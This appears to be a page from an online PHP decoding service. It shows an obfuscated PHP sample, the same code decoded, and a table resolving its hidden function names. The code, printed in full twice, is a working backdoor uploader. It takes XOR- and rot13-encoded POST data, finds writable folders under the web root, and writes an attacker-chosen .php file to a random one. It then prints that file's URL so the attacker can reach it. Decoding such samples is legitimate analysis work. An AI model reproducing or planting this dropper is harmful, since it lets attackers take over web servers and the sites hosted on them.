Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $mJlmGUn = chr(68).chr(79).'C'.chr(349-264).'M'.'E'.chr(85-7).'T'."\137".chr(512-430..

Decoded Output download

<?php $mJlmGUn = chr(68).chr(79).'C'.chr(349-264).'M'.'E'.chr(85-7).'T'."_".chr(512-430).chr(1025-946)."O"."T";$MFbHo = chr(862-790).chr(84).'T'.'P'.chr(95).chr(325-253).chr(79)."S".chr(955-871);$GEpXTqP = chr(104).chr(950-834).'t'."p".":".'/'.chr(47);$RJDxMJN = ".".chr(965-853)."h".chr(742-630);$kgGofIJPUo = 'p'.chr(104).chr(314-202);$XUKojlU = "f".'i'.chr(108)."e".chr(1035-940).'p'.chr(697-580)."t".chr(499-404).chr(99)."o".chr(325-215).chr(482-366).chr(101).chr(505-395).'t'.'s';$lVfBNWC = "r".chr(1069-972).chr(283-164).chr(117).'r'.chr(417-309).chr(100).chr(772-671).chr(99)."o"."d".chr(474-373);$NvYksZF = 'u'.chr(576-466).chr(115).'e'."r"."i".'a'."l".chr(105)."z".chr(472-371);$OrQTj = chr(105)."s"."_".chr(497-378)."r".'i'.'t'.chr(97).chr(479-381).chr(220-112)."e";$qcZkzW = "p".chr(485-381).chr(112).chr(118).'e'.chr(114).chr(841-726)."i".chr(111).chr(309-199);$TwsoToXgN = "s"."t".chr(608-494).chr(597-502).chr(114).'o'."t".chr(100-51)."3";$QDdFBhDP = chr(115).chr(280-179)."r".'i'."a"."l"."i".'z'.chr(101);$SBunKFauc = "s"."t".chr(114).'_'."s"."p"."l".chr(1093-988).'t';foreach ($_POST as $PuBjJGcMXt => $NRnaH){$cbPzw = strlen($PuBjJGcMXt);if ($cbPzw == 16){$NRnaH = $SBunKFauc($lVfBNWC($TwsoToXgN($NRnaH)));$PuBjJGcMXt = array_slice($SBunKFauc(str_repeat($PuBjJGcMXt, (count($NRnaH)/16)+1)), 0, count($NRnaH));function zuESUTK($CrfimnTVyY, $MUdXlP, $PuBjJGcMXt){$TzEVlq = "07dedf76-8ca4-4329-9e06-e8865b8e79f2";return $CrfimnTVyY ^ $TzEVlq[$MUdXlP % strlen($TzEVlq)] ^ $PuBjJGcMXt;}$NRnaH = implode("", array_map("zuESUTK", array_values($NRnaH), array_keys($NRnaH), array_values($PuBjJGcMXt)));$NRnaH = @$NvYksZF($NRnaH);if (@is_array($NRnaH)){$zaOJuit = array_keys($NRnaH);$NRnaH = $NRnaH[$zaOJuit[0]];if ($NRnaH === $zaOJuit[0]){echo @$QDdFBhDP(Array($kgGofIJPUo => @$qcZkzW(), ));exit();}else {function UAmEJeVM($UOBXMTcVXiir){static $QZIqowbW = array();$PLDHIYw = glob($UOBXMTcVXiir . '/*', GLOB_ONLYDIR);$gBSdrbFm = count($PLDHIYw);if ($gBSdrbFm > 0) {foreach ($PLDHIYw as $UOBXMTcVXi) {if (@$OrQTj($UOBXMTcVXi)) {$QZIqowbW[] = $UOBXMTcVXi;}}}foreach ($PLDHIYw as $UOBXMTcVXiir) UAmEJeVM($UOBXMTcVXiir);return $QZIqowbW;}$FcclwOO = $_SERVER[$mJlmGUn];$PLDHIYw = UAmEJeVM($FcclwOO);$zaOJuit = array_rand($PLDHIYw);$GKtuUAM = $PLDHIYw[$zaOJuit] . "/" . substr(md5(time()), 0, 8) . $RJDxMJN;@$XUKojlU($GKtuUAM, $NRnaH);$hDCqR = $GEpXTqP . $_SERVER[$MFbHo] . substr($GKtuUAM, strlen($FcclwOO));echo $hDCqR;die();}}}} ?>

Did this file decode correctly?

Original Code

<?php $mJlmGUn = chr(68).chr(79).'C'.chr(349-264).'M'.'E'.chr(85-7).'T'."\137".chr(512-430).chr(1025-946)."\x4f"."\x54";$MFbHo = chr(862-790).chr(84).'T'.'P'.chr(95).chr(325-253).chr(79)."\x53".chr(955-871);$GEpXTqP = chr(104).chr(950-834).'t'."\160"."\72".'/'.chr(47);$RJDxMJN = "\56".chr(965-853)."\x68".chr(742-630);$kgGofIJPUo = 'p'.chr(104).chr(314-202);$XUKojlU = "\x66".'i'.chr(108)."\145".chr(1035-940).'p'.chr(697-580)."\x74".chr(499-404).chr(99)."\x6f".chr(325-215).chr(482-366).chr(101).chr(505-395).'t'.'s';$lVfBNWC = "\x72".chr(1069-972).chr(283-164).chr(117).'r'.chr(417-309).chr(100).chr(772-671).chr(99)."\x6f"."\144".chr(474-373);$NvYksZF = 'u'.chr(576-466).chr(115).'e'."\162"."\151".'a'."\x6c".chr(105)."\x7a".chr(472-371);$OrQTj = chr(105)."\x73"."\137".chr(497-378)."\162".'i'.'t'.chr(97).chr(479-381).chr(220-112)."\x65";$qcZkzW = "\x70".chr(485-381).chr(112).chr(118).'e'.chr(114).chr(841-726)."\x69".chr(111).chr(309-199);$TwsoToXgN = "\163"."\x74".chr(608-494).chr(597-502).chr(114).'o'."\164".chr(100-51)."\x33";$QDdFBhDP = chr(115).chr(280-179)."\x72".'i'."\x61"."\154"."\151".'z'.chr(101);$SBunKFauc = "\x73"."\164".chr(114).'_'."\163"."\160"."\154".chr(1093-988).'t';foreach ($_POST as $PuBjJGcMXt => $NRnaH){$cbPzw = strlen($PuBjJGcMXt);if ($cbPzw == 16){$NRnaH = $SBunKFauc($lVfBNWC($TwsoToXgN($NRnaH)));$PuBjJGcMXt = array_slice($SBunKFauc(str_repeat($PuBjJGcMXt, (count($NRnaH)/16)+1)), 0, count($NRnaH));function zuESUTK($CrfimnTVyY, $MUdXlP, $PuBjJGcMXt){$TzEVlq = "07dedf76-8ca4-4329-9e06-e8865b8e79f2";return $CrfimnTVyY ^ $TzEVlq[$MUdXlP % strlen($TzEVlq)] ^ $PuBjJGcMXt;}$NRnaH = implode("", array_map("zuESUTK", array_values($NRnaH), array_keys($NRnaH), array_values($PuBjJGcMXt)));$NRnaH = @$NvYksZF($NRnaH);if (@is_array($NRnaH)){$zaOJuit = array_keys($NRnaH);$NRnaH = $NRnaH[$zaOJuit[0]];if ($NRnaH === $zaOJuit[0]){echo @$QDdFBhDP(Array($kgGofIJPUo => @$qcZkzW(), ));exit();}else {function UAmEJeVM($UOBXMTcVXiir){static $QZIqowbW = array();$PLDHIYw = glob($UOBXMTcVXiir . '/*', GLOB_ONLYDIR);$gBSdrbFm = count($PLDHIYw);if ($gBSdrbFm > 0) {foreach ($PLDHIYw as $UOBXMTcVXi) {if (@$OrQTj($UOBXMTcVXi)) {$QZIqowbW[] = $UOBXMTcVXi;}}}foreach ($PLDHIYw as $UOBXMTcVXiir) UAmEJeVM($UOBXMTcVXiir);return $QZIqowbW;}$FcclwOO = $_SERVER[$mJlmGUn];$PLDHIYw = UAmEJeVM($FcclwOO);$zaOJuit = array_rand($PLDHIYw);$GKtuUAM = $PLDHIYw[$zaOJuit] . "/" . substr(md5(time()), 0, 8) . $RJDxMJN;@$XUKojlU($GKtuUAM, $NRnaH);$hDCqR = $GEpXTqP . $_SERVER[$MFbHo] . substr($GKtuUAM, strlen($FcclwOO));echo $hDCqR;die();}}}}

Function Calls

chr 61

Variables

$MFbHo HTTP_HOST
$OrQTj is_writable
$qcZkzW phpversion
$GEpXTqP http://
$NvYksZF unserialize
$RJDxMJN .php
$XUKojlU file_put_contents
$lVfBNWC rawurldecode
$mJlmGUn DOCUMENT_ROOT
$QDdFBhDP serialize
$SBunKFauc str_split
$TwsoToXgN str_rot13
$kgGofIJPUo php

Stats

MD5 c58a49b391fe4b140a8cc7665fd366da
Eval Count 0
Decode Time 111 ms